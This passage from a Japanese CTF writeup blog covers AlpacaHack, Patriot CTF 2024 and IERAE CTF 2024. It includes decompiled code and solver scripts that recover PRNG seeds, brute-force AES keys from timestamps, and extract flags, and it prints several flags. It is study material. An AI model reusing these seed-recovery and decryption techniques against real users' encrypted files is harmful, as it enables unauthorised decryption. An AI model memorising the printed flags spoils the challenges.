            )[: len(pt_block)]
        return ct

    def decrypt(self, data: bytes):
        # 実はencryptとdecryptは全く同じ挙動
        return self.encrypt(data)


def reconstruct_seed_by_z3(encrypted_int64s):
    solver = z3.Solver()
    and_bit_mask = 0
    xor_bit_mask = 0
    for i in range(0, 64, 8):
        # ASCIIの8ビット目(0)と6ビット目(1)がリークしているはず
        and_bit_mask |= int("10100000", 2) << i
        xor_bit_mask |= int("00100000", 2) << i

    s = z3.BitVec("s", 64)
    for i in encrypted_int64s:
        s = s ^ (s << 13)
        s = s ^ z3.LShR(s, 7)
        s = s ^ (s << 17)
        t = BitVecVal(i, 64)
        # 8ビット目と6ビット目だけに着目してる
        solver.append((s & and_bit_mask) == ((t ^ xor_bit_mask) & and_bit_mask))

    if solver.check() != z3.sat:
        raise Exception("unsat !!!")
    model = solver.model()
    states = {str(s): model[s] for s in model}
    seed = states["s"].as_long()
    print("Predicted initial seed", seed)
    return seed


# From output.txt
c = "142d35c86db4e4bb82ca5965ca1d6bd55c0ffeb35c8a5825f00819821cd775c4c091391f5eb5671b251f5722f1b47e539122f7e5eadc00eee8a6a631928a0c14c57c7e05b6575067c336090f85618c8e181eeddbb3c6e177ad0f9b16d23c777b313e62b877148f06014e8bf3bc156bf88eedd123ba513dfd6fcb32446e41a5b719412939f5b98ffd54c2b5e44f4f7a927ecaff337cddf19fa4e38cbe01162a1b54bb43b0678adf2801d893655a74c656779f9a807c3125b5a30f4800a8"
assert len(c) % 3 == 0
key_length = len(c) // 3
assert key_length == 126

bs = bytes.fromhex(c)

# keyの長さは126バイトなので120バイト分=15だけ
encrypted_key_part_int64s = struct.unpack_from("<QQQQQQQQQQQQQQQ", bs)
assert len(encrypted_key_part_int64s) == 15
# encrypted_key_part = struct.unpack_from("<QQQQQ", bs)  # ちなみにこれでも80ビットリークしており、十分みたい

seed = reconstruct_seed_by_z3(encrypted_key_part_int64s)


# (org code) xss = XorshiftStream(secrets.randbelow(2 ** 64))
xss = XorshiftStream(seed)

# (org code) key = secrets.token_bytes(len(FLAG))
decrypted = xss.decrypt(bs)

key_part = decrypted[:key_length]
print("Encoded key: ", key_part)

key = bytes.fromhex(key_part.decode())
print("Byte key", key)


# (org code) FLAG = os.environ.get("FLAG", "fakeflag").encode()
FLAG_before_xor = decrypted[key_length:]

# (org code) c = xss.encrypt(key.hex().encode() + strxor(key, FLAG))
print(strxor(key, FLAG_before_xor))
# 出力: b"Alpaca{I'v3_n3v3r_seen_4_c1ient_51d3_CryptoWeb_ch4ll3ng3_0nce!}"

他の問題

やる時間なかった。アルパカハック難しいよ〜

Patriot CTF 2024 Upsolve + writeup未満のメモ

あとで見つけたんですが問題が勉強になりそうだったので。

https://pctf.competitivecyber.club/challenges

目次

crypto

[Solved] idk cipher (100点)

ード読んで逆算

[Solved] Bigger is Better (100点)

Wiener's attack

[Solved] Hard to Implement (190点)

送信文 + flagの文字列結合に対してAESしている。CBモードの脆弱性で16byte blockの値が場所によらず一緒になるので、パディング駆使しつつ、フラグの先頭から1文字ずつ特定していく。

[Solved] Bit by Bit (354点)

逆算コードを書く。さらに隠されたkeyを特定するんですが、16文字飛ばしで1文字にキーのうち1byteが対応しているということ、復元される文は恐らくASCIIであることを仮定するとASCIIになるようなバイト値の候補はかなり限られる。その中でそれぞれもっともそれっぽいやつ(俺は最もアルファベットが含まれるものを選ぶようにした)をバイト値として確定させるとキーが特定できる。

[未] One for you, one for me (390点)

[未] High Roller (390点)

[未] Protected Console (462点)

[未] Textbook Schnorr right?? (478点)

[未] Scrambler V2 (482点)

[未] Melting Tux (490点)

forensics

[Solved]Simple Exfiltration (100点)

ICMPのTTLだけ見る

[Solved] Bad Blood (100点)

基本Claudeに聞きまくってそれっぽい答え投げ続けてたら解けた... クソみたいな解き方だけどpowershellの勉強にはなった。

  • Q1,Q2: Claudeに聞きまくってたら候補になりそうなシェルスクリプトのファイル名がいくつか出てきたので全部投げて試す。
  • Q3: EventID=4104じゃないやつを眺めてたらWinRMというのが出てきたのでそれを投げたらあってた
  • Q4: 攻撃ログの断片みたいなのをClaudeにこれはどのC2 Frameworkによるものですか?と聞いたらCovenantと教えてくれた。

[未] Slingshot (280点)

[Solved] A Dire Situation (328点)

バイナリを眺めるとjpegっぽいがjpegのヘッダのない部分が現れるので、それっぽい部分にjpegのヘッダ(ffd8)を付け足してあげて、末尾のffd9を見つけてそこまでバイナリ抽出してjpegとして保存するとflag画像が現れる

[未] Structured Annuity (362点)

[未] Suspicious Drive (410点)

[未] Secret Note (470点)

[未] Abnormal Maybe Illegal (484点)

pwn

[未] Not So Shrimple Is It (224点)

[未] Navigator (306点)

[未] Shellcrunch (362点)

[未] Strings Only (420点)

[未] Flight Script (464点)

[未] sanitizer (476点)

[未] babyxss (478点)

[未] DirtyFetch (484点)

rev

[Solved] Password Protector (100点)

pycをdisassembleした結果をClaudeに食わせてデコンパイルして見通しをよくした後、手動で逆算コードを書く。

[Solved] Revioli, Revioli, give me the formeoli (100点)

Ghidraをかまして読むとフィボナッチ数列の最初の15項目に何か毛を足したものが答えであることがわかる

[Solved] Puzzle Room (100点)

CUI上で移動式のパズルを解く。正しい経路がflagを解くためのキーそのものになっている。与えられたソースがかなりメンテナブルな感じかつ実際8方向移動できるのに結局ほぼ移動できる場所がないので、深さ優先探索で解けるように改変して動かしたら一瞬で解けた。 どちらかというとPPC

[Solved] Packed Full Of Surprises (270点)

コードを読むのはかなり大変なので諦め(※)、表層的にわかることはないか調査。 (※) 追記 正規ルートではUPXで圧縮されていることに気づくのが初動だったようです。これに気づかなかったせいで全く読めなかった

strace ./encrypt

するとflag.txtを読み込んでflag.txt.encを書き込んでいることはただちにわかる。

少し入力を摂動させて遊んで見るとバイト毎に暗号化が独立していることがわかる。のでflag.txt.encに合うよう全探索。 exec.shはいいとして、途中でこういう雑なお願いをClaudeさんにやるとコードを完成させてくれた。

exec.sh

#!/bin/bash

# 一時ディレクトリを作成
temp_dir=$(mktemp -d)

# 終了時に一時ディレクトリとその内容を削除するトラップを設定
trap 'rm -rf "$temp_dir"' EXIT

# カレントディレクトリの./encryptを一時ディレクトリにコピー
cp ./encrypt "$temp_dir/"

# 作業ディレクトリを一時ディレクトリに変更
cd "$temp_dir" || exit 1

# 引数をflag.txtの内容として./encryptに渡し、暗号化を実行
echo -n "$1" > ./flag.txt

./encrypt

# 生成されたflag.txt.encの内容を標準出力に出力
cat flag.txt.enc

# 作業ディレクトリを元に戻す(オプション - トラップが一時ディレクトリを削除するため、厳密には必要ありません)
cd - > /dev/null

# トラップが一時ディレクトリとその内容を自動的に削除します

solve.py

import string
import subprocess
import binascii


def run_exec(input_str):
    result = subprocess.run(['./exec.sh', input_str], capture_output=True, text=False)
    return result.stdout

# ゴールとなる暗号化されたフラグ
# flag.txt.e
goal = bytes.fromhex("77 b8 a6 56 38 46 c2 74 2a 27 7e 48 03 68 ed cc af 29 e8 59 14 fa 6f ef 5d 7e 92 f2 57 4c")

# 初期の入力文字列
current_input = "0" * 30

for i in range(len(goal)):
    for c in string.printable:
        test_input = current_input[:i] + c + current_input[i + 1:]
        result = run_exec(test_input)
        #print(result)
        result_bytes = result

        if len(result_bytes) > i and result_bytes[i] == goal[i]:
            current_input = test_input
            print(f"Found match at position {i}: {current_input}")
            break
    else:
        print(f"No match found for position {i}")

print("Final result:", current_input)

[未] VM-ception: Layers of the Lost Byte (388点)

[Solved, 多分嘘] AI? PRNG (394点)

import subprocess
import string


def run_ai_rnd(input_str):
    result = subprocess.run(['./ai_rnd'], input=input_str.decode(), capture_output=True, text=True)
    return result.stdout.strip()


def create(prefix):
    return prefix + b'0' * (32 - len(prefix))


def dfs(cur, ans):
    if cur[-1] == ord("}"):
        if ans == run_ai_rnd(cur):
            print("Found!")
            print(cur, len(cur))
        return

    cands = []
    for c1 in string.digits + string.ascii_letters + string.punctuation:
        nxt = cur + bytes([ord(c1)])
        prefix = " ".join(run_ai_rnd(create(nxt)).split()[:len(nxt)])
        # print(prefix, len(nxt))
        if ans.find(prefix) == 0:
            cands.append(nxt)
    if len(cands) == 0:
        print("Not Found")
    else:
        if len(cands) > 5:
            return
        for n in cands:
            dfs(n, ans)


def main():
    with open("./random_numbers.txt", 'r') as f:
        ans = f.read()
        dfs(b'pctf{', ans)
        print(ans)


if __name__ == "__main__":
    main()

このプログラムを全探索で走らせたら

Found!
b'pctf{d33p_le@rngeG}' 19
Found!
b'pctf{d33p_le@rnge)}' 19
Found!
b'pctf{d33p_le@rngNG}' 19
Found!
b'pctf{d33p_le@rngN)}' 19
Found!
b'pctf{d33p_le@rnIeG}' 19
Found!
b'pctf{d33p_le@rnIe)}' 19
Found!
b'pctf{d33p_le@rnING}' 19
Found!
b'pctf{d33p_le@rnIN)}' 19
Found!
b'pctf{d33p_le@rn&eG}' 19
Found!
b'pctf{d33p_le@rn&e)}' 19
Found!
b'pctf{d33p_le@rn&NG}' 19
Found!
b'pctf{d33p_le@rn&N)}' 19

という候補が出てきて、恐らくpctf{d33p_le@rnINGが答え(最低!)

[未] Rust Lock (396点)

[未] Not another vm reversing problem (406点)

[未] Full Of Bugs (452点)

[未] GO To Sleep (478点)

misc

[未] Emoji Stack (100点)

[未] Making Baking Pancakes (100点)

[未] RTL Warm up (100点)

[未] Really Only Echo (104点)

[未] Emoji Stack V2 (290点)

[未] RTL Easy (318点)

[未] Let's Play [steg]Hide & Seek (402点)

[未] Make It Rain (414点)

[未] Green Eggs and Ham (472点)

web

[未] giraffe notes (100点)

[未] Impersonate (100点)

[未] Open Seasame (170点)

[未] DOMDOM (312点)

[未] Blob (334点)

[未] KIRAN SAU PROBLEM (376点)

[未] dogdays (382点)

[未] Secret Door (424点)

[未] BDog nom (464点)

osint

[未] On The Run (100点)

[未] Give me four words, Vasily (100点)

[未] Phase One (100点)

[未] Night School (100点)

[未] Porcelain Throne (100点)

[未] Studious (100点)

[未] sixfeetunder (100点)

[未] Dirty Laundry (376点)

IERAE CTF 2024 Writeup

コンテストの感想

ierae-ctf.com

チームFCCPCの一員としてkyuridenamidaで参加しました!面白かったです!

Automotive CTFの後からCTFにハマっているので、いつもValorantのフルパでお世話になっている方々(ぽてちさんとかn4nuさんとか)が主催するセキュリティ系のコンテストことCTFに参加した。

同僚を何人か誘ったが、ほとんど都合がつかなかったみたいで結局今回はぽにょときゅうりでAutomotive CTFに引き続きFCCPCとして参加することになった。10位だった。 二人共子育ての合間に取り組む感じなので、ぶっ通しで参加するみたいな無理はできないものの(実際15:00~16:30と21:00~3:30の8hくらいしか稼働できなかった)、24時間制約のおかげで頭の中で考えていたことを時間ができたときに試すみたいな楽しみ方ができて非常に良かった。CTFいいね。

結論から言うと様々な難易度の問題がたくさんあり、CTF入門したての人間でも退屈する感じでなく、いい感じに解けないくらいの難易度のものまで用意されており、楽しかった。guess要素も少なめ(ここはguessがあればあるほどめちゃくちゃで楽しいので個人的には残念)。

俺はReversingが好きなのでRevをいっぱい解いた。Pwnもいけるかと思ったけどおままごとみたいなPwnしか解けなかった。Cryptoもおままごとしか解けなかった。あとでHardのRevにも手を出さねば...

Webはすべてぽにょに任せた。

10位っていうとなんかよく頑張った感あるけど全然解けてないと思うのでもっと精進します。ただ真面目にCTFの過去問とか解きまくったあとの実力試しとしては初めてだったので、学習の成果が出ているのではくらいの自己肯定感にはなりました。

以下Writeup、自分が解けたところだけ

Vending Slot Machine (1点) [Rev] [Homework]

1日前に知って慌てて解いた。”宿題”というやつが出されていたらしい。 ELFバイナリが与えられる。実行してみるとスロットマシンが走っている。

If the number of current bottles reaches 2000, you will get the flag.

だそうなので、なんか放置してたらワンチャン運良ければいけるか...?と思いつつもそんなわけはないのでGhidraでデコンパイルして見てみる。 以下の関数が出てくる。

undefined8 FUN_00101220(void)

{
  int iVar1;
  time_t tVar2;
  int iVar3;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  initscr();
  noecho();
  cbreak();
  keypad(stdscr,1);
  curs_set(0);
  if (stdscr == 0) {
    iVar3 = -1;
    iVar1 = -1;
  }
  else {
    iVar3 = *(short *)(stdscr + 4) + 1;
    iVar1 = *(short *)(stdscr + 6) + 1;
  }
  DAT_0010402c = (iVar3 + -5) / 2;
  DAT_00104030 = (iVar1 + -0x19) / 2;
  FUN_00101590(0,0,0,0);
  do {
    iVar1 = wgetch(stdscr);
    if (iVar1 == 0x71) goto LAB_001012d4;
    FUN_001015f0();
  } while (DAT_00104034 < 2000);
  FUN_00101980(); // これ怪しい!
  do {
    iVar1 = wgetch(stdscr);
  } while (iVar1 != 0x71);
LAB_001012d4:
  endwin();
  return 0;
}

色々ゴチャゴチャしているが2000という値が条件に含まれたループの後に実行されている関数であることを考えるとFUN_00101980()がフラグ扱ってそうなのがわかる。見てみると...

void FUN_00101980(void)

{
  long lVar1;
  uint uVar2;
  void *pvVar3;
  long lVar4;
  int iVar5;
  uint uVar6;
  
  lVar1 = stdscr;
  if (stdscr == 0) {
    uVar6 = 0x7fffffe2;
    iVar5 = 0;
  }
  else {
    uVar6 = (int)*(short *)(stdscr + 6) - 0x39U >> 1;
    iVar5 = (*(short *)(stdscr + 4) + 1) / 2;
  }
  // ここから
  pvVar3 = calloc(0x3a,1);
  lVar4 = 0;
  do {
    uVar2 = DAT_00104010 ^ DAT_00104010 << 0xd;
    uVar2 = uVar2 >> 0x11 ^ uVar2;
    DAT_00104010 = uVar2 << 5 ^ uVar2;
    *(byte *)((long)pvVar3 + lVar4) = (&DAT_00102118)[lVar4] ^ (byte)DAT_00104010;
    lVar4 = lVar4 + 1;
  } while (lVar4 != 0x3a); // 0x3a って58だからフラグの長さっぽい!
  // ここまででフラグ計算してそう!
 
  werase(lVar1);
  mvprintw(iVar5,uVar6,&DAT_00102079,pvVar3);
  wrefresh(stdscr);
  return;
}

色々コンソールでビジュアライズするためのレイアウトを計算している部分を無視すると、

  // ここから
  pvVar3 = calloc(0x3a,1);
  lVar4 = 0;
  do {
    uVar2 = DAT_00104010 ^ DAT_00104010 << 0xd;
    uVar2 = uVar2 >> 0x11 ^ uVar2;
    DAT_00104010 = uVar2 << 5 ^ uVar2;
    *(byte *)((long)pvVar3 + lVar4) = (&DAT_00102118)[lVar4] ^ (byte)DAT_00104010;
    lVar4 = lVar4 + 1;
  } while (lVar4 != 0x3a); // 0x3a って58だからフラグの長さっぽい!
  // ここまででフラグ計算してそう!

このロジックがフラグ計算ロジックぽいが、DAT_00102118は値固定のグローバルの配列っぽい。DAT_00104010は外で書き換わっている値。 実際DAT_00104010が書き込まれている場所をGhidraのReference検索機能で調べてみると、スロットマシンガチャガチャやってるところ(FUN_001015f0)らしい。

でもそこを読むのは面倒くさいので、DAT_00104010が32bit非負整数であることを考えると取りうる値は2^32通りしかない。フラグの形式はIRAIE{***} (少なくともASCIIのはず) なので、全部試すと1ステップxサボれる。C/C++でやれば爆速

#include <iostream>
using namespace std;

/**
 * GhidraのC-arrayでコピーする機能で持ってくる。
 */
u_char DAT_00102118[] = {0x73, 0x04, 0xea, 0x0f, 0xbe, 0xe6, 0x36, 0x45, 0x7a, 0x54, 0x21, 0xf4, 0x0a, 0x94, 0x50, 0xcc, 0xf0,
                         0xdc, 0xca, 0x6a, 0x45, 0xf9, 0x37, 0xcc, 0x67, 0x1e, 0xbd, 0xbf, 0x65, 0x30, 0xbc, 0xa6, 0x06, 0x57,
                         0x20, 0x59, 0xc8, 0x49, 0xdd, 0x92, 0x56, 0x3b, 0x7b, 0xe1, 0x54, 0x71, 0x18, 0x45, 0x6a, 0x46, 0xf4,
                         0xd0, 0xf4, 0x61, 0x41, 0xa8, 0x49, 0xf3, 0x00};

/**
 * @return フラグ(全部Asciiっぽい)が見つかったらフラグ)さもなくば空
 */
string decompiled_flag_function(uint DAT_00104010) {
    uint uVar2;
    long lVar4 = 0;
    string answer;
    do {
        uVar2 = DAT_00104010 ^ DAT_00104010 << 0xd;
        uVar2 = uVar2 >> 0x11 ^ uVar2;
        DAT_00104010 = uVar2 << 5 ^ uVar2;
        u_char v = ((u_char) DAT_00102118[lVar4]) ^ (u_char) DAT_00104010;
        if( v > 127 ){
            return "";
        }
        answer += (char) v;
        lVar4 = lVar4 + 1;
    } while (lVar4 != 0x3a);
    return answer;
}


int main() {
    for (uint DAT_00104010 = 0;; DAT_00104010++) {
        if(DAT_00104010 % 10000000 == 0){
            cout << DAT_00104010 << endl;
        }
        string flag = decompiled_flag_function(DAT_00104010);
        if(flag.size() > 0 ){
            cout << "Flag Found! with DAT_00104010=" << DAT_00104010 << endl;
            cout << flag << endl;
            break;
        }
    }
}

上記C++プログラムを実行するとフラグゲット!

:
Flag Found! with DAT_00104010=1004691324
IERAE{ネタバレ防止}

Assignment (140点) [Rev] [Warmup]

ELFバイナリが与えられる。 実行してみると何も出力されない。Ghidraに食わせてみると明らかにフラグ文字列をプログラム内で構築している。 このプログラムを素直にgccなどでコンパイルして条件とか無視してflag文字列を生成して出力すればフラグ取得に成功。 蛇足ながら、実際元のプログラムにフラグを引数として与え実行してみてるとちゃんとechoされる。このプログラムはフラグ文字列と与えられた文字列が一致するときecho、そうでないなら何もしないという挙動でした。

$ ./chal IERAE{ネタバレ防止}
IERAE{ネタバレ防止}
undefined8 main(int param_1,long param_2)

{
  int iVar1;
  
  flag[0x1c] = 0x33;
  flag[1] = 0x45;
  flag[2] = 0x52;
  flag[0x14] = 0x72;
  flag[0x1a] = 0x61;
  flag[10] = 0x5f;
  flag[0x20] = 0x7d;
  flag[9] = 0x65;
  flag[0x16] = 0x6e;
  flag[0x11] = 0x5f;
  flag[6] = 0x73;
  flag[7] = 0x30;
  flag[0xf] = 0x30;
  flag[0x10] = 0x6d;
  flag[0x15] = 0x31;
  flag[0x18] = 0x5f;
  flag[0xc] = 0x34;
  flag[0x19] = 0x35;
  flag[0x1f] = 99;
  flag[3] = 0x41;
  flag[0] = 0x49;
  flag[0x1d] = 0x35;
  flag[0x12] = 0x73;
  flag[0x13] = 0x74;
  flag[0xb] = 0x72;
  flag[8] = 0x6d;
  flag[5] = 0x7b;
  flag[4] = 0x45;
  flag[0x1b] = 0x39;
  flag[0x1e] = 0x34;
  flag[0x17] = 0x67;
  flag[0xd] = 0x6e;
  flag[0xe] = 100;
  if (1 < param_1) {
    iVar1 = strcmp(flag,*(char **)(param_2 + 8));
    if (iVar1 == 0) {
      puts(flag);
    }
  }
  return 0;
}

Luz Da Lua (159点) [Rev] [Was_warmup]

Luaってなんだっけ...という感想から始まった。 適当に処理系をインストール。 Claude.aiに相談したら

# luacファイルをディスアセンブルする
luac -l -l LuzDaLua.luac > disassembled.txt
# 結果を表示
cat disassembled.txt

を実行するように指示されたので、disassembled.txtをまた添付ファイルとしてClaude.aiに相談すると、

なるほどありがとう。 ということでさらに関連する28コの値について抽出してもらえるようお願いしてみる。

ありがとう。Pythonプログラムを作らせて自分で実行するだけ。

# XOR values and expected values
xor_values = [232, 110, 178, 172, 212, 25, 53, 63, 135, 92, 38, 250, 216, 5, 69, 226, 137, 148, 64, 130, 241, 151, 203, 179, 216, 101, 238, 61]
expected_values = [161, 43, 224, 237, 145, 98, 121, 74, 230, 3, 23, 137, 135, 86, 117, 189, 186, 240, 53, 225, 197, 227, 250, 220, 182, 4, 130, 64]

# Recover the flag
flag = ''.join(chr(x ^ y) for x, y in zip(xor_values, expected_values))

print("Recovered flag:", flag)
Recovered flag: IERAE{ネタバレ防止}

これを解いたって言っていいのか?

(※余談) 正しいプログラムを作ってくれるが実行結果(※実行したとは言っていない)はあまりにもデタラメなので自分で実行しないと駄目

The Kudryavka Sequence (298点) [Rev] [Easy]

わふだよ。ちょうど取り組みだした直後に自動車教習のための移動があったので、教習所に向かいながらスマホで写真撮りまくったデコンパイル結果を眺めながら考察を進めていた。公道走ってるときに解法思いついて興奮して事故を起こしてしまった...ということは全く無く、コードがAESでpngファイルを暗号化していることはわかったのと、srandにプログラム実行時の時刻を使っていることだけわかり、諦め。しばらくして帰宅し、Claude AIにGhidraのデコンパイル結果を全部食わせたところ(1つのCプログラムソースでエクスポートする機能がある)、かなり正しそうな方針を教えてくれた。

実際 statement.pngはヒントで、

  1. statement.pngが生成される(更新日時タイムスタンプを見ると2024年09月17日 12時49分20秒)

  2. GetLocalTimeの実行結果を使って、ミリ秒含めた現在時刻でsrandが呼ばれる

  3. flag.png.laikaが生成される(更新日時タイムスタンプを見ると2024年09月17日 12時49分20秒)

という順番で処理が行われていることから、ミリ秒を1000通り試せば終わりみたいなところまで持っていけた。日本時間かどうかは一旦信じることにする。

とりあえずPythonでflag.png.laikaからflag.pngを復号するプログラムを書きたいが、

Windows APIのrand関数が、gccのrand関数と違うことを知っていたので、とりあえずLLMに聞いてみる。

class WindowsRandom:
    def __init__(self, seed):
        self.seed = seed & 0xffffffff

    def rand(self):
        self.seed = (self.seed * 214013 + 2531011) & 0xffffffff
        return (self.seed >> 16) & 0x7fff

というのを教えてくれる。Ghidraでコードを追ってみるとsrand/randはAPI-MS-WIN-CRT-UTILITY-L1-1-0.DLLのものを呼んでいるようで、正直LLMは信用ならないので一時的にWindowsを起動しここだけ1000万個くらい乱数生成して一致するか確認しておく。幸運なことに一致したのでLinuxに戻る(理由: Windowsは大変なので)。PythonからDLL呼ぶコードとかもLLMが全部書いてくれて実験が一瞬で終わりありがたい。

あとは1000通りのありえるmillisec値を試しKeyとIVを生成しているところを再現する。

大体のコードはClaude.AIが書いてくれた(たまにバグってたり、もとのコードとの乖離があるので実際のコードと照らし合わせながら再現)

from Crypto.Cipher import AES


class WindowsRandom:
    def __init__(self):
        self._seed = 1

    def srand(self, seed):
        self._seed = seed & 0xFFFFFFFF

    def rand(self):
        self._seed = (214013 * self._seed + 2531011) & 0xFFFFFFFF
        return (self._seed >> 16) & 0x7FFF


rng = WindowsRandom()


def calculate_seed(year, month, day, day_of_week, hour, minute, second, millisecond):
    seed = ((((((((year + 0x200ab) * 0x200ab + month) * 0x200ab +
                 day_of_week) * 0x200ab + day) * 0x200ab +
               hour) * 0x200ab + minute) * 0x200ab +
             second) * 0x200ab + millisecond)
    return seed & 0xFFFFFFFF


def generate_key_and_iv():
    key = bytes([rng.rand() & 0xFF for _ in range(32)])
    iv = bytes([rng.rand() & 0xFF for _ in range(16)])
    return key, iv


def super_rand(param_1, param_2):
    iVar1 = rng.rand()
    iVar2 = rng.rand()
    iVar3 = rng.rand()
    return param_1 + (0xffffffff & (iVar1 * iVar2 * iVar3)) // ((0xffffffff // (param_2 - param_1 + 1)) + 1)


def unshuffle(data):
    l = len(data)
    indices = list(range(l))
    for i in range(l):
        j = super_rand(0, l - 1)
        indices[i], indices[j] = indices[j], indices[i]

    rec = [-1 for _ in range(l)]

    for frm, d in zip(indices, data):
        rec[frm] = d
    return bytes(rec)


def decrypt_and_check(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        decrypted = cipher.decrypt(encrypted_data)
        # PNGのマジックナンバーをチェック
        if b'PNG' in decrypted[:32]:
            return decrypted
    except Exception as e:
        raise e
    return None


def brute_force_decrypt(encrypted_file):
    with open(encrypted_file, 'rb') as f:
        encrypted_data = f.read()

    # 2024年09月17日 12時49分20秒の周辺で試行
    base_time = (2024, 9, 17, 2, 12, 49, 20)

    for millisecond in range(1000):
        print(millisecond)
        seed = calculate_seed(*base_time, millisecond)
        #rng.srand(2683703389) #これが正解のシード
        rng.srand(seed)
        key, iv = generate_key_and_iv()

        # シャッフルを元に戻す
        unshuffled_data = unshuffle(encrypted_data)

        # 復号を試みる
        decrypted = decrypt_and_check(unshuffled_data, key, iv)

        if decrypted:
            print(f"成功! シード値: {seed} {millisecond}")
            return decrypted

    print("復号に失敗しました。")
    return None


# メイン処理
encrypted_file = 'flag.png.laika'
decrypted_data = brute_force_decrypt(encrypted_file)

if decrypted_data:
    with open('decrypted_flag.png', 'wb') as f:
        f.write(decrypted_data)
    print("復号されたファイルが 'decrypted_flag.png' として保存されました。")

上記Pythonを実行してみるとフラグ取得

成功! シード値: 2683703389 307
復号されたファイルが 'decrypted_flag.png' として保存されました。

めでたい!

analog (324点) [Rev] [Medium]

わふのほうが難しかったと思ったけど、これはこれで確かに大変だったかも。問題名は扱うデータに対する心構えが変わるから大ヒントだと思った。

とりあえずGhidraでデコンパイルしてClaude.AIに食わせる。

オッケー。方針は教えてもらったので一つ一つ読み解いていく(もちろんClaude.aiの力も借りながら!)。

とりあえずやっていることは以下の通り

  1. 第一の関数: 入力バイト列を連続するビット列とみなし、1バイトに1ビットずつ格納する。 入力長xに対して出力長8*x

  2. 第二の関数: 24の倍数になるようにゼロパディングした後、3バイトずつ区切って0~7の1つの整数に2進変換して格納していく。 入力長xに対して出力長は (x+24-x%24)/3。

  3. 第三の関数: 0~7の値に対する全単射のテーブル(下記がハードコードされており、入力のビットをそれにしたがって変換する。入力長xに対して出力長はx

 0→0
 1→3
 2→7
 3→4
 4→1
 5→2
 6→6
 7→5
  1. 第四の関数: 各バイトに含まれる0~7の値を単位円上にプロットした座標を順にconcatしたfloat列(x,y,x,y,...の順)を出力しており、さらにいえば同じ点を4回ずつ繰り返している(おかげで第五の関数のノイズ付加に対して復元ロバストになる) 入力のバイト数xに対して出力長は8*x個の4バイトfloat値
  2. 各バイト値b (0~7)から計算される角度θ=(b/8)*2π + π/8に対して(cosθ,sinθ)を計算している。
  3. 第五の関数: 各座標に対しランダムな角度φ(0〜2π)、ランダムな半径r(0〜0.4)のノイズを乗せるということを繰り返す。

第四と第五の関数がアナログっぽくていいですね〜。第四の関数で生成された点群に対して第五の関数でノイズ付加した後のとりうる値の範囲は以下の画像における色のついた部分みたいな感じになる (Claude AIに生成させました)

図示される通りかなりノイズの影響がやさしいです。多分お好みの適当な方法で実際にありえる元の点にマッピングさせるとノイズ除去が達成できます。 僕は4つの点に対する距離の二乗和が最小になるような元の点を見つけるようなやり方をしました。

import struct
import math


def reverse_FUN_0010174d(data):
    # この関数の逆変換は複雑で、完全な逆変換は難しいです
    # ここではシンプルな近似を行います
    return data


def make_possible_angles():
    res = {}
    for b in range(0, 8):
        x = b / 8.0 * 6.283185 + 0.3926991
        res[b] = (math.cos(x), math.sin(x))
    return res


def dist2(p1, p2):
    dx = (p1[0] - p2[0])
    dy = (p1[1] - p2[1])
    return dx * dx + dy * dy


def nearest(ps, angles: dict):
    best_d = 1e18
    best_point = None
    d_arr = []
    for k, p in angles.items():
        total_d = 0
        for p2 in ps:
            total_d += dist2(p, p2)
        d_arr.append(total_d)
        if best_d > total_d:
            best_d = total_d
            best_point = (k, p)
    #d_arr = sorted(d_arr)
    #print(best_point, best_d)
    return best_point


def reverse_FUN_0010160a(data):
    result = bytearray()
    possible_angles = make_possible_angles()

    for i in range(0, len(data), 32):
        chunk = data[i:i + 32]
        floats = struct.unpack('8f', chunk)
        # cosとsinの値から元の角度を推定
        ps = [
            (floats[0], floats[1]),
            (floats[2], floats[3]),
            (floats[4], floats[5]),
            (floats[6], floats[7])
        ]

        nn = nearest(ps, possible_angles)
        # 角度を0-255の範囲に変換
        byte_val = nn[0]
        result.append(byte_val & 0xFF)
    return result


def reverse_FUN_00101546(data):
    substitution_table = [0, 3, 7, 4, 1, 2, 6, 5]
    reverse_table = {v: k for k, v in enumerate(substitution_table)}
    return bytes(reverse_table[b] for b in data)


def reverse_FUN_001013d6(data):
    result = bytearray()
    for byte in data:
        result.extend([byte & 0x01, (byte >> 1) & 0x01, (byte >> 2) & 0x01])
    return result


def reverse_FUN_0010131e(data):
    result = bytearray()
    for i in range(0, len(data), 8):
        byte = sum(bit << j for j, bit in enumerate(data[i:i + 8]))
        result.append(byte)
    return result


def decode_flag(encoded_data):
    # FUN_0010174d の逆変換
    data = reverse_FUN_0010174d(encoded_data)

    # FUN_0010160a の逆変換
    data = reverse_FUN_0010160a(data)

    # FUN_00101546 の逆変換
    data = reverse_FUN_00101546(data)

    # FUN_001013d6 の逆変換
    data = reverse_FUN_001013d6(data)

    # FUN_0010131e の逆変換
    data = reverse_FUN_0010131e(data)

    return data


# ファイルから暗号化されたデータを読み込む
with open('./flag.encoded', 'rb') as f:
    encoded_data = f.read()

# デコード
decoded_data = decode_flag(encoded_data)

# 結果を表示
print(decoded_data.decode())

↑上記プログラムを実行すると、

$ python solve.py 
IERAE{ネタバレ防止}

めでたい。

derangement (149点) [crypto] [warmup]

15文字のmagic wordに現れるキャラクターセットに含まれる文字だけ使って15文字のヒント(ただし元のマジックワードと完全一致するようなインデックスは絶対に発生しないように生成する)が作られる。299回までヒントを生成可能。

これ最近どっかのCTFの過去問か練習サイトで全く同じ問題解いたな。

以下の2つが必要 使われるキャラクターセットの特定 各インデックスに対し”一度も出現しないキャラクター”を特定 どちらに対しても299回ヒント試せば十分なサンプル数のデータが集まる。

ある位置に"出てこない"キャラクターが答え。自分で書きたくないのでClaude.AIに書かせる。

from pwn import *
import string

def get_hint(p):
    p.sendline(b'1')
    p.recvuntil(b'hint: ')
    s = p.recvline().strip().decode()
    print(s)
    return s

def guess_word(p, word):
    p.sendline(b'2')
    p.sendline(word.encode())
    p.interactive()

def solve_magic_word():
    # ローカルで実行する場合は、適切なパスに変更してください
    #p = process("./challenge.py")
    p = remote(host=????,port=????)

    p.recvuntil(b'> ')

    char_set = []
    hints = []
    for _ in range(299):  # 299個のヒントを収集
        h = get_hint(p)
        hints.append(h)
        char_set += h
        p.recvuntil(b'> ')

    # 使用される可能性のある文字セット


    # 各位置に出現しない文字を記録
    not_in_position = [set(char_set) for _ in range(15)]

    # ヒントを分析
    for hint in hints:
        for i, char in enumerate(hint):
            not_in_position[i].discard(char)

    # 各位置の候補を1つに絞り込む
    magic_word = ''
    for pos_set in not_in_position:
        print(pos_set)
        if len(pos_set) == 1:
            magic_word += pos_set.pop()
        else:
